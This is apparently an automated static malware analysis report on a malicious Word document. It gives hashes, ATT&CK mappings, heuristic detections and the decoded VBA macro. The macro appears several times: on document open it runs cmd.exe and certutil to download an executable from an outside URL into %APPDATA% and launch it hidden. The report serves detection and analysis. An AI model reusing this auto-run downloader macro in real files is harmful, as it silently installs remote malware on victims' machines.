Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 23b0d5f12974d923…

MALICIOUS

Office (OLE)

161.0 KB Created: 2018-02-26 17:49:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: f4dbaec51e22b5002be884470e0068a3 SHA-1: 587f7d9b2123e8fab4bb664056d29cf137581bbf SHA-256: 23b0d5f12974d9236a5be3bd42ef580fa0ab70990c4d80bb73a44988b4bd7905
530 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution T1105 Ingress Tool Transfer T1059.003 Windows Command Shell

The sample is a malicious Word document that uses a Document_Open VBA macro to execute a command. This command uses certutil to download a second-stage executable from http://opss.info/h1.exe and save it to %APPDATA%\h1.exe, then executes it. The document body contains a lure to enable content, which is a common tactic for macro-based malware.

Heuristics 15

  • ClamAV: Win.Downloader.CertutilURLCache-6335698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.CertutilURLCache-6335698-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ("cmd.exe /c certutil -urlcache -split -f http://opss.info/h1.exe %APPDATA%\h1.exe && start %APPDATA%\h1.exe"), vbHide
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set objShell = CreateObject("Wscript.Shell")
objShell.Run ("cmd.exe /c certutil -urlcache -split -f http://opss.info/h1.exe %APPDATA%\h1.exe && start %APPDATA%\h1.exe"), vbHide
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ("cmd.exe /c certutil -urlcache -split -f http://opss.info/h1.exe %APPDATA%\h1.exe && start %APPDATA%\h1.exe"), vbHide
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Set objShell = CreateObject("Wscript.Shell")
objShell.Run ("cmd.exe /c certutil -urlcache -split -f http://opss.info/h1.exe %APPDATA%\h1.exe && start %APPDATA%\h1.exe"), vbHide
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://opss.info/h1.exe In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 590 bytes
SHA-256: fa0b8120d1435d6e31bbf85b83e9280b76442e0fc39b9863297d5de9b74f5099
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Private Sub Document_New()

End Sub

Private Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ("cmd.exe /c certutil -urlcache -split -f http://opss.info/h1.exe %APPDATA%\h1.exe && start %APPDATA%\h1.exe"), vbHide

End Sub




Attribute VB_Name = "NewMacros"

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